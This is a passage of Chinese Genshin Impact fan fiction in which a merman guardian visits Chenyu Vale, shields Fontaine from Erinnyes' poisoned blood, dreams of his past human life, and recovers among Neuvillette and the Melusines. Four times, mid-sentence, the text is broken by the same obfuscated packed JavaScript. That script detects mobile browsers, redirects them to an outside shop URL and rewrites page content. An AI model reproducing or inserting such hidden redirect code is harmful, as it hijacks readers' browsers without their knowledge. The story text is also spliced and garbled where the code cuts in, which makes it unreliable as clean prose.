静原想说卡吕普迪斯,这个名字对于外国人来说还是挺拗口的,他想告诉她自己原来的名字,但是眼睛又在昭显它的存在感。 他说:“我叫……静源……水源的源。” 婆婆点头:“好名字啊,一听就是我们璃月的孩子。哼,别想骗婆婆,枫丹人的名字都难念得很,听说枫丹那条人鱼叫什么卡卡——卡迪斯的……” “是卡吕普迪斯啦……” “对,卡普迪斯。他在船队那里可有名了,应该是你们这些鲛人的同族。”婆婆问问他,“能上来吗?婆婆给你拿好吃的。在遗珑埠可难见到你们这些生灵哟……” 婆婆说话颠三倒四,逻辑并不连贯,但自成一派。静原坐在她家门口的岸上吃着老人家孩子过节回来探望送的月饼,有点干巴,硌牙,还是让他咯吱咯吱啃完一个。老婆婆和他聊了一会天,透露了不少信息。比如在璃月的传说里,鲛人是一种人身鱼尾的水居生物,会制造衣物,会打捞沉船,送溺水的亡灵归乡。 静原越听越耳熟,他当年好像也是干过这事,把璃月的船送回璃月什么的…… 这不会就是说的他吧? “咱们沉玉谷的叶家,传承颇久的叶家。祖上是行商卖瓷器丝绸的,后来一个老祖宗在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483047|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枫丹沉了船,拿着鲛人给的珍珠宝石回家东山再起……他的后代卖转行茶叶,在枫丹沉了船,让枫丹的卡卡迪斯送了路费回来……要我说啊,都是散财童子,好心肠哟。” 静原尬笑。 遗珑埠的广场人还真不少,上午就有人了在那喝茶打发时间了。静原对听书没多大兴趣,和老婆婆告别后顺着岸边游了一会,藏在荷花丛中,思考要去哪里买茶糕。 他和一只站在筏子上鹈鹕看对了眼,后者咕咕叫着把喉咙里的鱼吐出来,吐到静原面前的筏子上,然后一歪头,叫了一声。 静原冷脸拒绝:“我不吃,有口水。” 鹈鹕那张脸上竟然出现了遗憾的神情,低头又把鱼吞了下去,扑打着翅膀叫了两声。 静原扑过去掐它脖子:“你才没眼光!你才瞎讲究!分不清大小王了是吧!” 没想到吧?你爷爷作为一条鱼我听得懂飞禽走兽的语言! 一时间,这里羽毛乱飞水花扑腾,鹈鹕杀猪一样的声音吸引了上岸休息的船工,静原赶在被人发现前一个猛子扎进水中,潜到遗珑埠外才浮出来。 下次见面他要一尾巴拍扁这只嘴欠的鹈鹕。 静原恨恨的想。 两岸响着歌声,静原觉得沉玉谷真是个度假的好地方,他才来没半天心情就好了松快不少。 午饭吃的是水畔荷花丛中的莲蓬。这个璃月特产清甜爽口,好吃得很。就是有点难剥,静原手指甲太长,又尖锐,总是把莲子剥得坑坑洼洼。 算了,丑就丑吧,好吃就行。 他往嘴里塞了一大把莲子,拍掉手里的绿色莲壳,南下游去翘英庄。 翘英庄的生活节奏很慢,建筑底层也更古朴,漫山遍野都是茶叶,采茶女勤劳致富,空气中都弥漫着一股好闻的清香。 岸边有好些孩子嬉戏打闹,老人慢悠悠晃着蒲扇坐在椅子上,逗鸟逗狗,或者是看顾着孩子们离水远些。 静原很喜欢屋檐一角露出的青白色花树,静静欣赏了一会儿。 有个小女孩站在不远处好奇的望着他,静原感受到视线回望,他们四目相对。 璃月人棕褐色的眼瞳温软清亮,如同干净的茶汤。黑发的小女孩好奇询问:“哥哥,你是鲛人吗?” 此时彼时,画面重叠。静原发呆了好半天才扯出一抹微笑:“可以算是吧。” 人鱼的声音对于人类来说太过空灵,犹如高天传来的呼唤。即使静原竭力遏制,小女孩还是露出晃隔如世的怔愣表情。 “哇——真的是鲛人唉。”很快小女孩惊叹起来,“大哥哥,你的头发可真好看。是深蓝色的呢。” 人鱼的深蓝色长发在阳光下如同珠光锦缎,湖蓝色的眼瞳没有一丝杂质。人鱼之所以被称为美人鱼,皮囊总归是在稳稳站在大众审美点上的。 静原回想起许多许多年前他第一次看见这个世界上的人类的时光,面上忍不住露出他自己都未曾发觉的笑容。 “你也是个可爱的小姑娘。” 就像我的塔塔一样。 27.血色前的欢欣 这个小女孩叫秋秋,家住翘英庄,以种茶卖茶为生。发现在河里躲着的静原纯属意外,因为她在跟小伙伴玩捉迷藏,恰巧和静原选了同一块地方。 静原不至于沦落到连藏身地都不会找的地步。 秋秋见到了传闻中庇护海上行船商人的鲛人,连捉迷藏的劲头都没有了。好奇的对着静原左看右看:“大哥哥,我可以喊我的朋友们一起来见见你吗?” 静原挑眉:“想看稀奇?” 秋秋只是嘿嘿笑:“大哥哥不愿意的话,我不会告诉任何人的……爸爸妈妈也不说!” 没什么见不得人的,静原偷偷摸摸南下只是不想引起围观——上次去璃月港找烟绯的时候被人当马戏团猴子一样围观多少给他留下了一点心理阴影。 他不怎么喜欢孩子,但是乖巧的例外。和美露莘们相处多年,静原看小女孩永远有柔和滤镜。 秋秋的朋友们是一群不大的孩子,两个男孩两个女孩。七八岁的男孩正是精力旺盛狗都嫌弃的时候,看见活生生的人鱼就想摸人家尾巴。女孩则是想摸头发,嘴里有问不完的话。 静原拒绝他们接触自己的尾巴,人鱼的鳍相当锋利:“不想手断掉的话,最好收回去。” 孩子们乖乖听话,然后又开始问:“静源哥哥,你们鲛人都长得这么好看吗?” “不知道,我没见过其他同族。” “静源哥哥是从枫丹来的吧?璃月人可没有蓝色的头发呢。” “事实上,枫丹的蓝头发也少。”一般都是水族幻形蓝头发。 “大哥哥,你会寻宝吗?海里是不是有很多珍珠?我们沉玉谷的河水里有没有玉?” “会寻宝。海里有珍珠,沉玉谷河水里有玉,但是很少。我一路游过来也没发现几块。” “故事里说的都是真的!爹娘他们还想哄我,说都是骗小孩的……” “哥哥你真的不是仙人吗?” “不是,我只是普通的长生种。”静原万不敢当仙人,“你们的话好多,不用写作业吗?” “啊……真是可恶的大人。”一个男孩垂头丧气,“我现在相信你不是仙人了,仙人才不会问我们写不写作业。” 秋秋疑惑:“阿蒙,夫子留的课后作业你还没有写完吗?明天采茶季结束,回学堂夫子要抽查的。” 阿蒙震惊:“明天就结束了吗?我还以为有——” 他的好哥们一揽肩膀,老气横秋:“三天前你就说要写了。三天又三天,你还没有动笔呢。” 静原露出微笑。 是的,他就是过年或者放假期间会问小孩作业成绩的那种恶劣长辈。小孩不高兴他就高兴了。 真是糟糕的大人啊。 阿蒙和他的小伙伴焉头耷脑的回去写作业,大概今晚会点着油灯奋力一搏。而秋秋和她的两个小姐妹在静原的默许下,玩起了过家家。 任由女孩们折腾头发的时候他会想,这和在海沫村有什么区别呢? 没有区别。哪怕美露莘的手不适合进行编发这种精细操作,她们也热衷于往静原的头发里藏珍珠和海星,因为她们看过枫丹廷童话家写的故事,觉得美人鱼一定会用珍珠海星贝壳装饰自己…… 静原锤桌:这都是诽谤。 最后他托着脑后三条粗细大小不均匀的辫子,问了沉玉谷特色小吃有哪些,在哪里卖,哪里的水最清冽甘甜,哪里的花最娇艳芬芳。 女孩们一一作答。 她们听说静原是想代购回家送给孩子,拍胸脯保证一定让他买到最正宗最好吃的糕点在哪家。 翘英庄的泉水,蛋黄心的茶好月圆,软糯香甜或是松软绵密的茶糕……如果不是茶叶蛋不太好打包,静原至少要买一锅。 他采集了一束荷叶荷花,拎着大包小包给家人买的礼物和秋秋告别,然后叼着甜甜花往回游。人鱼蓝色的尾巴与碧色河水相映照,在秋秋眼中,那实在是漂亮极了。 而静原想着他来这一趟只顾着跟老人孩子玩了,有机会的话下次逛逛其他地方…… 得看着点时间,不能隔好多年才来一趟。秋秋长成大姑娘他可不一定能认出来啊。 正在海沫村和美露莘们相聚的那维莱特没想到静原回来得这么快。 眷属的心跳声传来,他能很敏锐的听到属于卡吕普迪斯的那一段旋律。由远及近,带着些莫名的兴奋。 位于水下的海沫村对于人鱼来说畅通无阻,静原用水包裹礼物与鲜花,穿过海水下潜又跃起,浮出水潭,欢快道:“我回来了!” 那维莱特轻笑:“我还以为你会在沉玉谷多玩几天。” “下次再去。你看看我带回来了什么好吃的。”静原往外一件一件的掏礼物,小美露莘们都凑过来,她们知道肯定有她们的一份,“茶糕,荷花,莲蓬,蛋黄酥……璃月的点心花样太多,好些我都叫不出名字。这个莲蓬很好吃,瑟琳你会喜欢的。柯莎,这是璃月水生的花,插在花瓶里很漂亮。那维莱特,这是翘英庄的泉水,换换口味怎么样?” 在给家人带礼物这件事上,无论前生还是今生,静原都有用不完的精力,兴致勃勃且乐在其中。 那维莱特喜欢品尝水的滋味,对他来说,各地的水都有不同的风味。静原记得他这个饮食爱好,外出总会灌一瓶清冽的水回来赠送他。 在眷属们温馨的小房子间,那维莱特卸下一身繁琐的审判官长袍,面上是轻柔的微笑。 他想,这大概这就是人类口中所说的,家的温暖吧。 美露莘们很喜欢这些邻国的点心,精致美丽又好吃。谬妮更是拉着静原的手撒娇:“卡吕普迪斯大人,下次可以带更多这样香香甜甜的点心吗?” 下次可以游得更远,或者去一趟璃月港托人在岸上采购点心……静原抱起谬妮笑:“当然可以。” 美露莘是一群心智普遍不超过12的小女孩,极个别成熟体也是纯真良善。静原看她们总有着比对待小男孩更多的耐心与宽和。 没办法,这家伙心偏的要命。 夜色更深时,美露莘们都睡下了。那维莱特离开海沫村游上岸,身后跟着静原。 上岸前那维莱特回头喊住静原:“心情好些了吗?” 静原拍了拍尾巴:“比之前好上不少。你是对的那维莱特,散散心会放松些。” “……已经有千年了吧。”那维莱特也不知道不太记得他进入人类社会前在海中度过了多少年月,卡吕普迪斯应该也不知道,他还小呢…… 那维莱特注视着他最初的眷属,笑容如月光一般温柔:“你一直将枫丹海守护得很好。如今一切走上正轨,我想你也可以适当的放松自己,多出门游玩。” 一瞬间静原幻视这是自己老妈附身:别宅家了,出门多和朋友玩。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496383|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但是老板都这样说了,静原哪能不听呢? 他笑得眉毛都快飞起来了。 那维莱特:果然,孩子还是应该推出门多看看世界(欣慰.jpg) 静原:好耶,带薪休假。 虽然静原本质属性是阿宅不乐意动弹,但是一想到出门采购能给孩子们带好吃的好玩的,经济自由的静原就忍不住往外多跑几次,然后拎着大包小包赶回来。 他偶尔能听到逐影庭在追捕水仙十字结社的成员。这群家伙做了人体实验,将自然哲学院的一个助手改造成了不人不鬼的怪物。此举在枫丹律法的底线上狂舞,枫丹廷忍无可忍,全方位通缉抓捕。 静原听到消息的时候就知道阿兰的助手卡特已经被深渊力量同化了,只残有一丝理智。这场失败也标志着阿兰与雷内雅各布彻底决裂。 下一步是什么呢?他曾在红瞳时刻的幻像中见到雷内与雅各布找上他们的水仙十字院院长,一位纯水精灵。 那是曾陪伴厄歌莉娅一起征战坎瑞亚的最原始的纯水精灵。厄歌莉娅死去,纯水精灵已经逝去过一次,又因为水的特性得以在长眠后复苏。 静原本以为她死的透透的了,谁知道还活着。 逐影庭在厄里那斯残骸内围剿水仙十字结社的时候,静原远远地看着,并不插手。 就如那维莱特所说,这是人类自己的选择,他不需要为他们的结局而悲伤。 将自身和院长融合,割舍属于【雷内】的一部分,成为【纳齐森科鲁兹】的全新纯水精灵——浊水幻灵。复活了成为一团血肉造物的卡特,成为双臂漆黑的卡特皮拉。纳齐森科鲁兹又创造出纯水精灵,红皇后莉莉斯。 至于为何要选择厄里那斯残骸内开战……具体经过静原稍稍回忆就眼痛,他只知道纳齐森科鲁兹要将厄里那斯的躯体活性话。 无异于复活这头深渊的巨兽。 静原冷眼旁观这场决战,出身于水仙十字院的几个兄弟姐妹手足相残,身为逐影庭探员的玛丽安被融合纯水吸收,无数器械造物的零件扎入厄里那斯体内。 一切都和静原曾“看见”的情景无比一致。 纳齐森科鲁兹爆炸那刻,早有准备的静原抬手掀起水构造的屏,厄里那斯的血水与纯水的力量互斥又融合,层层交叠,将还活着的人类与机械动物一视同仁的严密保护起来。 幸而厄里那斯残骸的骨骼足够坚硬,此地没有塌陷。静原操控流水将这些生物送出去,自己却没有动弹半步。 人鱼的下半身泡在厄里那斯的血水之中,来自深渊的毒素开始侵蚀他的尾巴,由下及上,一直到尾椎都被麻痹。 浑身的血液仿佛被凝固,彻骨的寒凉,唯有心脏还在缓慢跳动——那里有一颗友人赠送的净水之心,维系着人鱼心脏处的纯洁。 静原游不动了,他只能抬起手臂召唤流水将人与器械送离厄里那斯。 自始至终,厄里那斯的灵魂都沉默的忍受着痛苦,他不愿意活过来。 但是小精灵,为什么你要留在这里呢?为什么你又要把自己泡在我的血液里呢? 静原听不到厄里那斯的问话,确认毒血没有因为爆炸飞溅出去污染海与陆地,这才疲惫的合上眼睛,彻底陷入血色的池潭中。 咕噜噜,咕噜噜,血色池潭上只留下几个水泡,很快也破裂了。 厄里那斯重归宁静。 28.迷途羔羊 静原的灵魂有一半不属于提瓦特。 深渊是什么?是来自世界之外的物质,对于提瓦特本土生命来说是剧毒。但对于本就来自世界之外的灵魂,其实没有太大的影响。 比如旅行者,比如杜林,比如厄里那斯。 静原的眼睛总会在他预见未来时顷刻充血变红,因为湖蓝色的水元素双眼无法承受这样的力量与知识。 作为卡吕普迪斯的他是提瓦特水元素一脉的生命,下半身的尾巴更是水族特征的显现。尾巴会被厄里那斯流淌着深渊力量的毒血侵蚀麻痹,但是灵魂不会。 浑身浸泡在血水里,腥味很重,他已经没有力气动弹抗议,任由身上浮现紫红色的经脉纹路,任由鳞片片片剥落,任由自己在临死前的幻像中沉沦。 那实在是太美好了。 “静原!你再窝在房间里打游戏不睡觉不吃早饭,我就要来收拾你了!” 门外响起母亲中气十足的怒吼。但这丝毫不影响她的好女儿裹着被子坐在电脑前,油头垢面的脸被屏幕的光照得煞白。 操控凯鹤万心在深渊痛殴流血狗的女人切万叶大招然后e聚怪,讨龙心海增伤,最后凯亚qe带走最后三只残血流血狗,直接进入下一间。 “静原!!!” 母上大人敲门:“出来吃饭。” 女人这才梦游似的离开阴暗得跟鬼屋一样的房间,端起热腾腾的馄饨,蒸汽蒙上眼镜,眼前一片白。 “妈妈,我昨晚做了一个梦。” “你还睡觉了啊?”恢复平静的老母亲往她面前的碟子里夹了一只肉包,“梦到什么了?” “梦见我死了。魂飘进游戏里当了个海鲜。”玉米鲜虾馄饨皮薄馅大,好吃好吃。 “你再熬夜真的就要死了。都说了放假也不能这样总熬夜,早点睡第二天再起来打游戏不好吗?还魂飘进游戏里……我看你是分不清现实和想象了。”母上大人吐槽,“怎么会想到变成海鲜?你也不喜欢吃那个啊。” 她低头喝汤:“不知道啊……再然后我就中毒死了。” “哪个丧良心的往海里投毒?” “……我自己上了岸,跑到有毒的池子里。”她迷茫道,“我不去的话,就有一场爆炸会把毒喷飞溅出去,污染海的……” “这么有道德心,你当初怎么不考警校。” “不知道啊……” 眼镜上蒸汽水雾散去,露出镜片后一双红色的眼睛。 静原看着妈妈说:“我不知道啊。” 我不知道啊妈妈,我只是不想有什么破坏我的家,危害我的【母亲】。 妈妈,我变成鱼以后,海也是我的妈妈了,她和你一样爱我,包容我的所有。 我爱你,也爱她。 妈妈,我想回家了。 没有一滴毒血溅落在外,厄里那斯内里一片平静。 那维莱特踏入厄里那斯残骸内。 他代表枫丹廷带来了更多的逐影庭探员,接手被卡吕普迪斯送出来的这些人与器械动物。法律会告诉自诩救世主的人类什么该做什么不该做。 原本打算告诉卡吕普迪斯这个好消息的那维莱特感受到了属于厄里那斯灵魂的呼唤,选择踏入其中。 【你能听到我说话,是吗?】 进入残骸后这种声音愈发明显,那维莱特谨慎道:“为什么要呼唤我前来?” 【抱歉,我知道既然我选择死亡,就不应该再发声的。但是照顾我女儿们的小精灵泡在我的血里很久都没有浮上来,你也是他的家人吧,去看看他好吗?】 一瞬间福至心灵,那维莱特明白厄里那斯说的是谁。 难怪今日听不到卡吕普迪斯的心跳,他还以为对方去了邻国游玩。 厄里那斯对自己的身体很熟悉,指引那维莱特深入其中,在毒血水潭中捞起昏死过去的静原。 还有微弱的心跳特征。 那维莱特冷静的擦去眷属脸上的血:“这是你第二次致他濒死了。” 【我很抱歉,我无意伤害任何生灵。】厄里那斯温柔注视着属于海的精灵,【他一直爱着我的女儿,我很感谢他,也感谢你。】 【这样浓郁的血至少还需要两百年才能彻底溶解无害,我的女儿们一般不会踏足于此,但人类的孩子们总是不厌其烦研究我的血肉,如果可以的话,不要让他们再来了……这太危险了。】 “人类的求知欲过于旺盛,自取灭亡。”那维莱特还没有几百年后宽恕枫丹人类原罪的好脾气,他并不关心人类的选择,但他的眷属们都很喜欢人类,“我会尽力推动相关立法的。” 在人类社会还是利用人类的法律约束人类最好。 厄里那斯听到这个回答也不意外,只是难免难过【他会死吗?】 那维莱特垂眸看向陪伴自己直至现在的,最初的眷属,斩钉截铁道:“不会。” “我会保护他,保护他们。这是我的承诺,也是我的责任。”丰沛的水元素洗去鱼尾上的毒血,但鳞片剥落后血肉模糊的鱼尾实在是太难看了,像是腐烂一般。那维莱特甚至不忍心触碰,他知道卡吕普迪斯为什么要留在这里,那样剧烈的爆炸,如果不是有水的缓冲,这些毒血终会飞溅出来污染陆地,水潭下的通道也将连通水脉,污染水源与海域。 如果真是那样,百年前卡吕普迪斯在海上的拉扯就失去了意义,众多水族都将在污染中变异死去。 厄里那斯知道这一点,他只是难过自己的存在带来了灾难,哪怕死亡也难逃悲剧的产生。 【取走我的一截骨头吧。】厄里那斯说,【浸在我的心脏里,几天后就能淬炼成为新的材料。妈妈这样做过,她说那是很好的武器材料。】 【用这样的武器驱使我的血水,他再也不会被污染了。】 “妈妈,海鲜好难吃。”静原恍惚记得自己变成海鲜后为了生存吃过生鱼,“好腥啊,好恶心。” 妈妈问:“你是半夜饿了在冰箱翻到你爸做的生腌了吗?我给你留了宵夜,怎么不吃那个?” 静原神色恍惚:“不知道……我没看见。眼睛好痛,妈妈。” “等会烧壶热水拿毛巾敷一敷眼睛,好好睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519847|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一觉,少熬夜打游戏……快吃,吃完睡回笼觉,你眼睛都要闭上了。” “妈妈,我想回家了。” 我不想孤零零的死在阴暗的角落里,我想回家,我想在有阳光有微风的地方永远睡下去。 妈妈,你来接我回家好不好? 我一直都很难受,我想回家。 回家…… 回……家…… 她忍不住挣扎起来。 血肉模糊的下半身密密麻麻的瘙痒,新的鳞片长出,覆盖在脆弱的皮肤组织上。 太痛了,又痛又痒,即使是在深层次的休眠中,也忍不住弓起身子蜷缩起来。 妈妈。 他无意识的呢喃着,躺在海沫村美露莘们的小房子石台中间,不知外界海平面缓慢却稳定的上涨。 妈妈…… 那维莱特查看他的身体状态时听到了如此孺慕的呼唤,有些发愣。 元素生命的母亲……是什么? 卡吕普迪斯和他都是从原始胎海中诞生的啊。 美露莘们围在一起,目光担忧。 “卡吕普迪斯大人为什么还没有醒来呢?” “是不是做噩梦了?” “不知道,他看上去很难过,是不是快要哭了?” “卡吕普迪斯大人也会哭泣吗?” 静原醒来后就听到了这些好侄女们的对话,他躺在石台上僵硬的就像一条死鱼,看到那维莱特蹲在旁边目光恳切,顿了顿才说:“我还以为真的死了呢。” “你的生命力很顽强,毒素没有侵蚀内里。”那维莱特扶着他下水,“做噩梦了吗?” “一个美梦。”静原下水后疼得龇牙咧嘴,很快愈合后的尾巴抗住了这样的刺激,“外面没有被影响吧?” “厄里那斯的力量没有散逸出去。但是卡吕普迪斯,你这样做太危险了。不必以身犯险,污染可以被控制的。”那维莱特思索良久,没有追究眷属避开的目光,“你似乎……没有特别强烈的求生欲望。为什么?” 静原不是很想活着,也不是很想死。如果可以他愿意在海里一睡不醒,但是肚子饿需要觅食,但是眼睛痛让他看到了未来的悲剧。什么都不知道当然可以什么都不做,可知道了还能装聋作哑视而不见吗? 别人不清楚,但静原做不到。他的良心不多,总归还是有的。未曾麻木前,无论如何他都会尽力一试。 纳齐森科鲁兹爆炸会害死很多很多人,逐影庭探员尤其多。静原不在乎死者的身份,但他知道这些都是活生生的生命,他不希望有任何人在眼前死去。 不听劝告自食恶果的除外。 “因为我知道你会来救我的。”他虚弱的笑了笑,半真半假道。 死亡能够让他的灵魂回到妈妈身边吗? 静原从前不知道,但现在明白了。 但是那维莱特当真了,他沉默良久:“我不知道……但不会有下一次了。” 静原垂下眼睫,轻笑道:“没事的,下一次我就知道要怎么做了。” 他会做出正确的选择。 29.咸鱼打挺 那维莱特赠送给静原一把权杖。 “这是干什么?加冕我为王?” “如果你愿意的话,我想可以正式授封你为亲王……” “打住,说回正题——这是什么?” “……这是厄里那斯的赠礼,以它的骨骼为原材料,用心脏的血淬炼。为了美观,我镶嵌了涤净青金……你……这是什么眼神?” “崇拜的眼神。水免你是怎么打的?你也没法物理刮痧啊。” “如果你要问我如何获取这样的涤净青金……我是可以直接制造这样纯粹的水元素结晶宝石的。” “很漂亮。”他已经可以预想到日后某个黄毛扒权杖上的宝石送某位水系角色了。 “那就收下吧。厄里那斯说的,用他的骨骼做材料的武器,持有者再也无惧血水中的毒素。”那维莱特将这把骨制权杖交付给静原,“现在,你可以更好的保护你自己了。” “……”静原接过骨杖,这样的长柄武器沉甸甸的很有份量,手感很好,被打磨得光滑。 他后知后觉:“原来我是枪系吗?” 那维莱特不解,但他已经习惯对方时不时冒出来的奇怪词汇了。多数时候对方都是自问自答,不需要他多回应,但那维莱特不是那种会忽略他人发言的性格,他的职业也不允许:“如果你喜欢其他类型的武器,我再做一把。材料还有很多。” 你对我太好了哥,我受宠若惊。 静原忙道:“这就够了,我很喜欢,会好好使用的。” “很高兴你能喜欢。”那维莱特微笑,“卡吕普迪斯,格蕾丝蒂说你最近吃的东西稍微多一点了……身体好些了吗?” “自愈能力还不错,已经没有伤了。倒是你那维莱特,枫丹廷工作是不是很忙?”静原示意他照照镜子,“黑眼圈更严重了。” 那维莱特抬起收抚摸下眼睑喃喃道:“难怪芙宁娜女士问我最近是不是化了眼妆……” 原来他的黑眼圈已经严重到这个地步了吗? 龙也会因为熬夜工作生出黑眼圈?那维莱特从前都不知道这个。 静原:也没有其他元素龙常年无休熬夜工作吧…… 不管怎么说,那维莱特工作繁忙都是真的。赶回沫芒宫之前他特意叮嘱好不容易拉扯大的眷属:“有需要一定呼唤我,不要独自涉险。” 翻译过来就是这样的:我出门上班去了,你在家里关上门好好玩,看电视打游戏睡觉吃零食都可以,不要干危险的事,有事就打电话喊我回来处理。 静原小鸡啄米般点头。 美露莘们已经深刻意识到这个人鱼叔叔是一条脆皮鱼了,格蕾丝蒂更是静原走哪她跟哪,不时和在水下监狱梅洛彼得堡当护士长的希格雯交流些什么,然后给静原煮颜色诡异的营养品。 静原:“格蕾丝蒂,我的好姑娘,这是什么做的?” 小美露莘认真回答:“浅水区的汐藻,海草,深海鱼油,还有邻国璃月产的莲藕……希格雯说,这些食材补气明目。唔……我还加了一些晒干的柔灯铃花瓣,颜色更好看些。” 静原:所以这就是你煮了一锅深紫带着诡异蓝色搅拌纹路,骷髅头藕片上下沉浮鼓着泡泡,干瘪汐藻浮在上面像是□□皮一样的汤的……过程? 但是可爱小美露莘闪亮亮的恳切期冀目光,静原实在不忍拒绝。最后在格蕾丝蒂欣慰目光注视下捏着鼻子咕噜噜全干了。 喝完后舌头都是蓝紫色的。 要失去味觉了! 静原强行忍住呕吐的欲望,哄着格蕾丝蒂离开,扭头钻进海里一下子窜出去十几米,逃命似的奔向璃月。 他想吃鲜虾玉米馄饨,想吃大肉包子,求求了来点荤的吧。 这次也顾不上隐藏身形或者是哄孩子玩了,静原不怕人类围观——他怕侄女再给他吃营养补健品。 在遗珑埠岸边台阶上坐着猛炫十一个玉纹茶叶蛋,噎的牛饮免费茶水。围观大娘唏嘘:“这是打哪儿逃荒来的可怜孩子哟……” 静原边吃边说:“家里人不会做饭,饿了两天了……老板,这还有什么熟食卖吗?我还想吃。” 茶叶蛋老板挠头苦恼:“遗珑埠这边都是茶商,酒楼食肆可没璃月港那么多。我也是随便摆个摊卖点小吃……” 围观群众有热心的:“南码头有家卖烧鸽的,他们家的叉烧也好吃的嘞,尝尝不?” 静原火速起身下水:“我绕个路。” 人鱼轻易不上岸,静原一边被人围观看稀奇,一边和闻讯赶来的店家侍者沟通点单,一边回答热心璃月群众的问话。 比如你打哪来的,是不是仙人,认不认识其他鲛人,沉玉谷水下有什么之类的……静原避重就轻如实相告,啃着烧鸽腿,如果不是尾巴没法分叉,他真想翘着二郎腿好好唠唠。 “沉玉谷水质很好,空气清新,山清水秀的,仙人仙兽应当是不少的。等我退休了我就搬到沉玉谷养老……太好吃了,我以前都在矫情什么。” 大爷大娘们一通盘话,确认这是个没有坏心的鲛人后,这才真情实意亲亲热热的招待来自枫丹的客人。静原在遗珑埠码头旁坐了一会,吃得肚皮溜圆,又捎了一包桂花山楂丸带回去消食。 泡在河水里他回头看了一眼沉玉谷的天色:“今晚就要下雨,范围从沉玉谷到枫丹东海岸,风浪四到五级,行商游船记得注意。晒的茶和衣服什么的记得收。” 说完就游远了,岸上人再怎么呼唤也没有回头。 静原预测天气的能力一等一,沉玉谷的自然气象也不难观测,虽然知道两国人类都有自己的预测手段,但该说的还是得说。但凡有一个人因为静原的提醒上了心,规避了一点损失,他都会为此而高兴。 当晚果然下起了雨,昭示着枫丹迎来漫长的雨季,格蕾丝蒂撑着伞在海岸边吃桂花山楂丸,酸的皱起小脸蛋。看她们家叔叔在风浪间护航船只离港,平安穿过降雨地区。 目前的枫丹海域基础设施还没有变成几百年后发达模样,照明手段有限,维修十分麻烦且昂贵,一旦下雨或是起雾,照明设施就等于没有。最终枫丹廷采用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519848|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最原始手段:卡吕普迪斯护航。 静原问了那维莱特老大:我这一百年工资在哪里? 那维莱特:……我在枫丹廷为你开户办理了相关手续,自你授封大守护者之后,工资和报酬都汇进了这个账户里。不过取款交易需要你本人亲自前去……咳,我是说,这是流程之一,我无法为你代取。 没办法,这就是沫芒宫整出来的规章制度,芙宁娜和那维莱特也得遵守,何况静原这一介小小职员呢? 静原暂且当自己打的白工,但是无所谓,那维莱特会给补贴:力量、武器、权能、财富……作为王,他非常慷慨。 海不可能永远不起风浪,静原与她相处千百年,从未想过让海保持宁静,他更倾向于让人类适应海的脾气,护卫着他们在风雨海浪间安全往返。 麻烦是麻烦,但是海洋很高兴,搅动海水会为底层鱼类增添更多食物,枫丹渔场的渔业产量也因此年年拔高,产出的鱼油被美露莘们买回来,加入了饭里面…… 回旋镖,但是静原不知道。 格蕾丝蒂等美露莘:~( ̄▽ ̄~)~ 静原每隔两天就会跑一趟沉玉谷,格蕾丝蒂是知道的。 “卡吕普迪斯大人肯好好吃饭,这是好事。”小姑娘点点头,然后拿出一大袋子摩拉,“在外面买东西池需要很多很多摩拉,请收着吧。” 静原:孩儿,叔自己能养活自己的。 最后肯定是不会要小侄女的零花钱的,静原向她展示了自己辛苦多年潜水作业得到的财富:数不清的古钱币,金灿灿的摩拉,珍珠铺地,宝石如山,完整或者略有瑕疵的古代器物……他还真穷不了。 格蕾丝蒂歪头:“这是卡吕普迪斯大人的藏宝洞吗?” 位于海下洞窟的藏宝地神似故事中的模样,海洋暗流把守,子弹藤壶黏在墙壁上,对任何来访者一视同仁。静原来一次就要打掉一次,离开前再种一批。 “以前一个人生活的时候不知道该干什么打发时间,看到这些好看的东西就不自觉搜罗起来。一些沉船我都拖走了,很抱歉让艾伊丝没有地方考古沉船历史。她喜欢的【斯彭西安】号在我印象中已经毁灭了。”静原不可避免的响起过去的事,叹气,然后带着格蕾丝蒂逛了逛金库,给小侄女们准备些礼物这才离开。 